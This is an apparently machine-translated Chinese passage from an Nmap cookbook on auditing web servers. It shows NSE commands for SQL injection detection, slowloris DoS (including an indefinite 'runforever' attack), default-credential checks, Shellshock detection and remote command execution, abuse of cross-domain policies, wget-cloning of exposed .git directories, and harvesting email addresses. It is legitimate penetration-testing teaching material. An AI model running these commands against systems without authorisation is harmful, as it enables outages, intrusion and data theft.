脚本 http-sql-injection.nse 由 Eddie Bell 和 Piotr Olma 编写。它抓取网络服务器,查找带参数的表单和 URI,并尝试查找 SQL 注入漏洞。脚本通过插入可能导致应用程序出错的 SQL 查询来确定服务器是否存在漏洞。这意味着脚本不会检测到任何盲目的 SQL 注入漏洞。

脚本匹配的错误信息从外部文件中读取,该文件默认位于 /nselib/data/http-sql-errors.lst。该文件来自 fuzzdb 项目 (https://github.com/fuzzdb-project/fuzzdb),用户可根据需要选择其他文件。

There's more...

脚本 http-sql-injection 检测程序依赖于服务器返回特定的错误字符串。更全面的测试包括基于布尔的盲法、基于时间的盲法、基于错误的盲法、联合查询和堆叠查询等技术,可使用 sqlmap 等工具执行。Sqlmap 可从 https://github.com/sqlmapproject/sqlmap 下载。

检测易受 slowloris 拒绝服务攻击的网络服务器

Nmap 还可用于识别易受 slowloris 拒绝服务攻击的网络服务器。slowloris 拒绝服务技术据推测是由 Adrian Ilarion Ciobanu 在 2007 年发现的,但 Rsnake 在 DEFCON 17 中发布了第一个工具,证明它影响了多个产品,包括 Apache 1.x、Apache 2.x、dhttpd 以及可能的许多其他网络服务器。

本教程展示了如何使用 Nmap 检测网络服务器是否易受 slowloris DoS 攻击。

How to do it...

要使用 Nmap 对远程网络服务器发起 slowloris 攻击,请使用以下命令:

$nmap -p80 --script http-slowloris --max-parallelism 400 <target> 

默认情况下,如果服务器持续响应,脚本将运行 30 分钟。如果服务器宕机,会返回一些统计数据:

 PORT STATE SERVICE REASON 

 80/tcp open http syn-ack 

 | http-slowloris: 

 | Vulnerable: 

 | theDoS attack took +5m35s 

 | with 300 concurrent connections 

 |_ and 900 sent queries 

How it works...

Nmap 选项 -p80 --script http-slowloris --max-parallelism 400 会在检测到端口 80 (-p80) 上的网络服务器时启动 NSE 脚本 http-slowloris,并将最大并发连接数设置为高数以实施攻击。

slowloris DoS 技术的工作原理与其他拒绝服务技术不同,其他拒绝服务技术的通信通道会被大量请求淹没。Slowloris 使用的带宽最小,不会消耗大量资源;它发送的信息量最小,以防止连接关闭。

RSnake 的官方文章可在 http://hackers.org/slowloris/ 上找到。

NSE 脚本由 Aleksandar Nikolic 和 Ange Gutek 编写。官方文档见 https://nmap.org/nsedoc/scripts/http-slowloris.html。

There's more...

要设置每个 HTTP 头信息之间的间隔时间,请使用脚本参数 http-slowloris.send_interval:

$ nmap -p80 --script http-slowloris --script-args http-slowloris.send_interval=200 --max-parallelism 300 <target> 

要在一定时间内运行 slowloris 攻击,请使用脚本参数 http-slowloris.timelimit,如以下命令所示:

$ nmap -p80 --script http-slowloris --script-args http-slowloris.timelimit=15m <target> 

另外,还有一个参数可以用来告诉 Nmap 无限期地攻击目标,如下面的命令所示:

$ nmap -p80 --script http-slowloris --script-args http-slowloris.runforever <target> 

还有一个 NSE 脚本用于检查易受攻击的网络服务器,名为 http-slowloris-check,由 Aleksandar Nikolic 编写。该脚本只发送两个请求,并通过读取和比较连接超时来检测易受攻击的服务器:

$ nmap -p80 --script http-slowloris-check <target> 

使用默认凭证查找网络应用程序

网络应用程序和设备(如网络摄像头、打印机、VoIP 系统、视频会议系统和其他设备)中经常会遗忘默认凭证。有一个非常有用的 NSE 脚本可以自动测试网络中的默认凭证。该脚本支持多种流行产品,包括网络应用程序,如 Apache Tomcat Manager、Oracle 管理控制台、F5 Big IP、CitrixNetScaler、Cacti、打印机,甚至是家用路由器的网络管理界面。

本食谱向您展示如何使用 Nmap 自动测试多个网络应用程序的默认凭据访问。

How to do it...

要在支持的应用程序中自动测试默认凭据访问,请使用以下 Nmap 命令:

$ nmap -p80 --script http-default-accounts <target> 

如果成功,结果将显示应用程序和默认凭据:

 PORT STATE SERVICE REASON 
 80/tcp open http syn-ack 
 |_http-default-accounts: [Cacti] credentials found ->admin:admin Path:/cacti/ 

How it works...

Nmap 选项 -p80--script http-default-accounts 会在发现 80 端口(-p80)的网络服务器时启动 NSE 脚本 http-default-accounts。

我开发这个 NSE 脚本的目的是通过自动检查系统管理员是否忘记更改系统中的默认密码来节省网络渗透测试的时间。我已经包含了一些常用服务的指纹,但如果能支持更多的服务,这个脚本还可以改进很多。如果你能访问通常配置为默认凭据访问的服务,我鼓励你向其数据库提交新的指纹。最近,nnposter 发布了一个重大更新,改进了这个脚本及其数据库。目前支持的服务有

  • Cacti

  • Apache Tomcat

  • Apache Axis2

  • Arris 2307 routers

  • Cisco 2811 routers

  • Motorola AP

  • Lantronix print server

  • Dell iDRAC6

  • HP StorageWorks

  • Zabbix

  • Schneider controller

  • Xerox printer

  • Citrix NetScaler

  • ESXi hypervisor

  • Weblogic administration console

该脚本通过查看已知路径检测网络应用程序,并使用预定义的默认凭据启动登录程序。它依赖于位于 /nselib/data/http-default-accounts.nse 的指纹文件。条目是 Lua 表,它们看起来如下:

---
--Virtualization systems
---
table.insert(fingerprints, {
 -- Version 5.0.0
name = "VMware ESXi",
category = "virtualization",
paths = {
 {path = "/"}
 },
target_check = function (host, port, path, response)
returnresponse.status == 200
andresponse.body
andresponse.body:find("ID_EESX_Welcome", 1, true)
andresponse.body:find("/folder?dcPath=ha-datacenter", 1, true)
end,
login_combos = {
 {username = "root", password = ""}
 },
login_check = function (host, port, path, user, pass)
 -- realm="VMware HTTP server"
returntry_http_basic_login(host, port,
url.absolute(path, "folder?dcPath=ha-datacenter"),
user, pass, false)
end
})

每个指纹条目必须包含以下字段:

  • name: 该字段指定描述性服务名称

  • category:该字段指定了较低侵入性扫描所需的类别

  • login_combos:此字段指定服务使用的默认凭证 LUA 表

  • paths:此字段指定了服务常用路径的 LUA 表

  • target_check:此字段指定目标的验证例程(可选)

  • login_check:该字段指定网络服务的登录例程

There's more...

若要降低扫描的侵入性,可使用脚本参数 http-default-accounts.category 按类别过滤掉探测:

$ nmap -p80 --script http-default-accounts --script-args http-default-accounts.category=routers <target> 

可用的类别有

  • 网络:该类别管理网络应用程序

  • 路由器路由器:该类别管理路由器接口

  • VOIP:该类别管理 VOIP 设备

  • 安全本类别管理与安全相关的软件

  • 工业:本类别管理与工业控制系统 (ICS) 相关的软件。

  • 打印机该类别管理打印机设备

  • 存储:该类别管理存储设备

  • 虚拟化该类别管理虚拟化软件

  • 控制台该类别管理远程控制台

该脚本默认使用根文件夹作为基本路径,但可以使用参数 http-default-accounts.basepath 设置不同的路径:

$ nmap -p80 --script http-default-accounts --script-args http-default-accounts.basepath=/web/ <target> 

默认的指纹文件位于 /nselib/data/http-default-accounts-fingerprints.lua,但也可以通过指定参数 http-default-accounts.fingerprintfile 来使用不同的文件:

$ nmap -p80 --script http-default-accounts --script-args http-default-accounts.fingerprintfile=./more-signatures.txt <target> 

Detecting web applications vulnerable to Shellshock

Shellshock 是 UNIX Bash shell 中的一个漏洞,广泛影响不同的产品,包括使用 Bash 在内部处理请求的网络应用程序。它被赋予的漏洞 ID 是 CVE-2014-6271,直到今天,我们仍怀疑有许多易受攻击的产品尚未被发现。

下面的秘诀将告诉您如何使用 Nmap 检测易受 Shellshock 攻击的网络应用程序。

How to do it...

要识别网络服务器上运行的所有易受 Shellshock 影响的网络应用程序,我们可以使用以下命令:

$ nmap -sV --script http-shellshock <target> 

如果网络应用程序存在漏洞,我们就会看到类似这样的报告:

 PORT STATE SERVICE REASON
 80/tcp open http syn-ack
 | http-shellshock:
 | VULNERABLE:
 | HTTP Shellshock vulnerability
 | State: VULNERABLE (Exploitable)
 | IDs: CVE:CVE-2014-6271
 | This web application might be affected by the vulnerability
 known as Shellshock. It seems the server
 | is executing commands injected via malicious HTTP headers.
 |
 | Disclosure date: 2014-09-24
 | References:
 | http://www.openwall.com/lists/oss-security/2014/09/24/10
 | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
 | http://seclists.org/oss-sec/2014/q3/685
 |_ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271

How it works...

Nmap 选项 -sV--script http-shellshock 告诉 Nmap 每次通过版本检测 (-sV) 检测到网络服务器时执行脚本 http-shellshock。http-shellshock 脚本是我编写的,用于识别容易通过头注入感染 Shellshock 的网络应用程序。

该脚本使用 HTTP 标头存储一个有效载荷,该有效载荷会在 Bash 中执行,并打印一个在响应内容中检测到的随机字符串。我们可以使用该脚本进行检测和利用。其中一个限制是,它只能在输出返回时检测易受攻击的应用程序。默认情况下,脚本只能检测服务器的 Web 根目录。

There's more...

如果应用程序不返回任何输出,您可以使用远程代码执行功能测试命令是否成功执行。例如,您可以 ping 回主机,并在流量中查找传入的 ICMP 数据包。

脚本参数 http-shellshock.uri 设置了默认的探测路径。默认情况下,脚本将探测网络根文件夹 (/):

$ nmap -sV --script http-shellshock --script-args uri=/cgi-bin/notify <target> 

远程执行命令

一旦确定了存在漏洞的应用程序,下一步显然就是执行一些命令。脚本 http-shellshock 使用脚本参数 http-shellshock.cmd,可设置在易受攻击主机上执行的特定命令:

$ nmap -sV --script http-shellshock --script-args cmd=ls <target> 
通过蜘蛛搜索网络服务器来查找易受攻击的应用程序

脚本 http-shellshock 的探测范围仅限于一个资源。如果要设置网页根目录以外的其他路径,必须设置脚本参数 http-shellshock.uri。不过,有时网络服务器会链接到许多网页,因此很难遍历所有可用的网页/应用程序。我开发了一个修改版的 http-shellshock,它使用 NSE spidering 库来自动检查网络服务器中的每个页面。

您可以从我的 GitHub 存储库中获取非官方脚本:

https://github.com/cldrn/nmap-nse-scripts/blob/master/scripts/http-shellshock-spider.nse

http 和 httpspider NSE 库具有很高的可配置性。阅读附录 A《HTTP、HTTP 管道和网络抓取配置选项》,了解更多可用的高级选项。

检测不安全的跨域策略

跨域和客户端访问策略需要检查权限是否过于宽松。不安全的配置允许跨站请求伪造攻击,并可能被滥用于从网络服务器获取敏感数据。脚本 http-cross-domain-policy 将帮助我们检测这些不安全配置,并自动检查是否有任何域名可供购买以滥用配置。

本食谱展示了如何使用 Nmap 检测网络服务器中不安全的跨域策略。

How to do it...

使用以下 Nmap 命令检查网络服务器的跨域策略:

$ nmap --script http-cross-domain-policy <target> 

如果发现客户端访问或跨域策略文件,则会显示漏洞报告。报告中还将包含其他信息,以便对问题进行手动分析:

 PORT STATE SERVICE REASON
 8080/tcp open http-proxy syn-ack
 | http-cross-domain-policy:
 | VULNERABLE:
 | Cross-domain policy file (crossdomain.xml)
 | State: VULNERABLE
 | A cross-domain policy file specifies the permissions that a
 web client such as Java, Adobe Flash, Adobe Reader,
 | etc. use to access data across different domains. A client 
 access policy file is similar to cross-domain policy
 | but is used for M$ Silverlight applications. Overly
 permissive configurations enables Cross-site Request
 | Forgery attacks, and may allow third parties to access
 sensitive data meant for the user.
 | Check results:
 | /crossdomain.xml:
 | <cross-domain-policy>
 | <allow-access-from domain="*.example.com"/>
 | <allow-access-from domain="*.exampleobjects.com"/>
 | <allow-access-from domain="*.example.co.in"/>'
 | </cross-domain-policy>
 | /clientaccesspolicy.xml:
 | <?xml version="1.0" encoding="utf8"?>
 | </accesspolicy>
 | <crossdomainaccess>
 | <policy>
 | <allowfromhttprequestheaders="SOAPAction">
 | <domain uri="*"/>
 | <domain uri="*.example.me"/>
 | <domain uri="*.exampleobjects.me"/>
 | </allowfrom>
 | <granto>
 | <resource path="/" includesubpaths="true"/>
 | </granto>
 | </policy>
 | </crossdomainaccess>
 | </accesspolicy>
 | Extra information:
 | Trusted domains:example.com, exampleobjects.com,
 example.co.in, *, example.me, exampleobjects.me
 | Use the script argument 'domain-lookup' to find trusted domains
 available for purchase
 | References:
 | http://gursevkalra.blogspot.com/2013/08/bypassing-same- 
 origin-policy-with-flash.html
 | http://sethsec.blogspot.com/2014/03/exploiting- 
 misconfigured-crossdomainxml.html
 | 
 https://www.owasp.org/index.php/Test_RIA_cross_domain_
 policy_%28OTG-CONFIG-008%29
 | http://acunetix.com/vulnerabilities/web/insecure- 
 clientaccesspolicy-xml-file
 | https://www.adobe.com/devnet- 
 docs/acrobatetk/tools/AppSec/CrossDomain_
 PolicyFile_Specification.pdf
 |_ 
 https://www.adobe.com/devnet/articles/crossdomain_policy_
 file_spec.html

工作原理...

Nmap 选项 -p80 -script http-cross-domain-policy 启动 NSE 脚本 http-cross-domain-policy,获取跨域策略(/crossdomain.xml)和客户端访问策略(/clientaccess.xml),并列出受信域。通配符很危险,因为它们可能无意中向攻击者暴露信息。如果受信任的域中有任何一个可以购买,这就可能为攻击者敞开大门。

每次存在跨域和客户端访问策略文件时,脚本都会产生结果,但必须手动评估结果,以确定策略是否存在风险。

还有更多...

有时,开发人员会错误使用通配符或输入错误,从而允许访问不属于真正可信域的域。

查找可购买的攻击域名

脚本 http-cross-domain-policy 具有自动查找从跨域和客户端访问策略中获取的可信域可用性的功能。通过获取可用的可信域,可以绕过跨域或客户端访问策略限制和滥用的隐含可信关系,从而获取敏感信息。可以设置脚本参数 http-cross-domain-policy.domain-lookup,以自动执行此查询:

$ nmap --script http-cross-domain-policy --script-args http-cross-domain-policy.domain-lookup=true <target> 

检测暴露的源代码控制系统

源代码控制系统有时会暴露在配置错误的 Web 服务器中,由于它们存储了敏感信息(如源代码),如果幸运的话,甚至还存储了凭据,因此给企业带来了极大的风险。

本食谱介绍如何使用 Nmap 检测网络服务器中暴露的源代码控制系统。

How to do it...

使用以下 Nmap 命令检测网络服务器中暴露的 git 仓库:

$nmap -p80 --script http-git <target> 

如果找到 .git 目录,将返回有关该仓库的信息:

PORT STATE SERVICE REASON
 80/tcp open http syn-ack
 | http-git:
 | 127.0.0.1:80/.git/
 | Git repository found!
 | .git/config matched patterns 'passw'
 | Repository description: Unnamed repository; edit this file 
 'description' to name the...
 | Remotes:
 | http://github.com/someuser/somerepo
 | Project type: Ruby on Rails web application (guessed from 
 .git/info/exclude)
 | 127.0.0.1:80/damagedrepository/.git/
 |_ Potential Git repository found (found 2/6 expected files)

How it works...

Nmap 选项 -p80 --script http-git 命令 Nmap 在检测到端口 80 (-p80) 上的网络服务器时启动 NSE 脚本 http-git。脚本会尝试访问 /.git/ 文件夹以获取信息,如版本库描述、远程服务器和上次提交信息。根据版本库的用途,我们会发现其中存储了不同类型的信息。由于攻击者可以获取应用程序的源代码、内部详细信息甚至凭证,因此这个问题可能非常严重,这取决于所存储的信息。

There's more...

请记住,如果找到了 .git 目录,我们只需下载该目录,删除多余的文件,然后调出该版本库的内容,就能检查出项目的副本:

# wget -r http://target/.git/ 
# find .git -type f -name 'index.htm*' -delete 

现在,我们应该可以使用下载的 git 项目了,就像它一直都是我们的一样:

#git status 
#git checkout -- . 

从 subversion 源代码控制系统获取信息

NSE 脚本 http-svn-info 和 http-svn-enum 可用于托管 subversion 资源库的网络服务器。脚本 http-svn-info 用于获取上次提交的信息,如下所示:

$ nmap -p443 --script http-svn-info <target> 
 PORT STATE SERVICE REASON 
 443/tcp open https syn-ack 
 | http-svn-info: 
 | Path: . 
 | URL: https://svn.nmap.org/ 
 | Relative URL: ^/ 
 | Repository Root: https://svn.nmap.org 
 | Repository UUID: e0a8ed71-7df4-0310-8962-fdc924857419 
 | Revision: 34938 
 | Node Kind: directory 
 | Last Changed Author: yang 
 | Last Changed Rev: 34938 
 |_ Last Changed Date: Sun, 19 Jul 2015 13:49:59 GMT-- 

脚本 http-svn-enum 可用于通过最近提交的日志枚举用户:

$ nmap -p443 --script http-svn-info <target> 
 PORT STATE SERVICE REASON 
 443/tcp open https syn-ack 
 | http-svn-enum: 
 | Author Count Revision Date 
 | gyani 183 34965 2015-07-24 
 | robert 1 34566 2015-06-02 
 | david 2 34785 2015-06-28 

审核 SSL 服务器中密码套件的强度

如今,SSL 攻击非常流行,服务器接受不安全的密码和压缩方法也很常见。我们可以使用 Nmap 自动快速评估服务器使用的密码套件的强度。

本食谱展示了如何使用 Nmap 列出和审核 HTTPS 服务器支持的密码套件的强度。

How to do it...

使用 NSE 脚本 ssl-enum-ciphers 获取支持的密码套件及其安全等级列表:

$ nmap --script ssl-enum-ciphers -p 443 <host> 

如果检测到配置错误,系统将发出警告:

 PORT STATE SERVICE
 443/tcp open https
 | ssl-enum-ciphers:
 | TLSv1.0:
 | ciphers:
 | TLS_RSA_WITH_RC4_128_MD5 (rsa 2048) - C
 | TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C
 | TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C
 | TLS_RSA_WITH_DES_CBC_SHA (rsa 2048) - C
 | TLS_RSA_EXPORT1024_WITH_RC4_56_SHA - D
 | TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA - D
 | TLS_RSA_EXPORT_WITH_RC4_40_MD5 - E
 | TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 - E
 | compressors:
 | NULL
 | cipher preference: server
 | warnings:
 | 64-bit block cipher 3DES vulnerable to SWEET32 attack
 | 64-bit block cipher DES vulnerable to SWEET32 attack
 | 64-bit block cipher RC2 vulnerable to SWEET32 attack
 | Broken cipher RC4 is deprecated by RFC 7465
 | Ciphersuite uses MD5 for message integrity
 |_ least strength: E
 Nmap done: 1 IP address (1 host up) scanned in 5.99 seconds

How it works...

Nmap 选项 -p443 --script ssl-enum-ciphers 命令 Nmap 启动 NSE 脚本 ssl-enum-ciphers,它将通过使用 SSLv3/TLS 连接迭代列表来列出所有支持的密码。脚本会对不安全配置发出警告,并根据算法强度给出安全等级。

该脚本的结果将迅速为我们提供网络服务器可接受的问题配置列表。

There's more...

在一些 NSE 脚本的帮助下,还可以对 HTTPS 服务器进行其他检查:

  • ssl-ccs-injection:检查服务器是否存在 CCS 注入漏洞(CVE-2014-0224) - ssl-cert:获取 SSL 证书信息

  • ssl-dh-params:检查服务器是否易受 Logham(CVE 2015-4000)

  • ssl-heartbleed:检查服务器是否易受 Heartbleed(CVE-2014-0160)攻击

  • ssl-poodle:检查服务器是否存在 Poodle(CVE-2014-3566)漏洞

  • sslv2-drown:检查服务器是否存在 Drown(CVE-2015-3197、CVE-2016-0703 和 CVE-2016-0800)漏洞

要运行所有 SSL 脚本,请使用以下命令:

$nmap -p443 --script ssl* <target> 

从网络服务器上删除电子邮件账户

查找有效的电子邮件帐户是渗透测试中的一项重要任务。在某些系统和网络应用程序中,电子邮件账户经常被用作用户名。攻击者通常会将其中存储的高度敏感信息作为攻击目标。破坏电子邮件访问凭证往往意味着可以访问更敏感的信息。

本教程向您展示如何使用 Nmap 发现可用于后一种攻击的有效电子邮件帐户。

How to do it...

要从网络服务器上收集有效的电子邮件地址,请使用以下命令:

$nmap -p80 --script http-grep --script-args http-grep.builtins=e-mail <target> 

网络服务器中找到的电子邮件地址将包含在脚本输出中:

 PORT STATE SERVICE REASON
 443/tcp open https syn-ack
 | http-grep:
 | (1) https://www.packtpub.com/books/subscription/mapt-b2b:
 | (1) e-mail:
 | + maptsupport@packtpub.com
 | (2) https://www.packtpub.com/books/info/packt/ordering:
 | (2) e-mail:
 | + service@packtpub.com
 |_ + customercare@packtpub.com

How it works...

参数 -p80 --script http-grep --script-args http-grep.buildins=e-mail告诉Nmap对网络服务器进行蜘蛛搜索,查找电子邮件地址。

http-grep 脚本由 Patrik Karlsson 和 Gyanendra Mishra 编写,它使用 NSE 库 httpspider 抓取网络服务器,查找电子邮件地址、IP 地址、社会安全号、信用卡号等已知模式。

There's more...

脚本中内置了一些模式,用于快速发现内容,这些模式可以单独选择,也可以按组选择。目前,脚本包括电子邮件地址、电话号码、Mastercard、Discover、Visa、Amex、SSN 和 IP 地址的模式。设置脚本参数 http-grep.builtins,即可启用所有模式:

$nmap -p80 --script http-grep --script-args http-grep.builtins <target>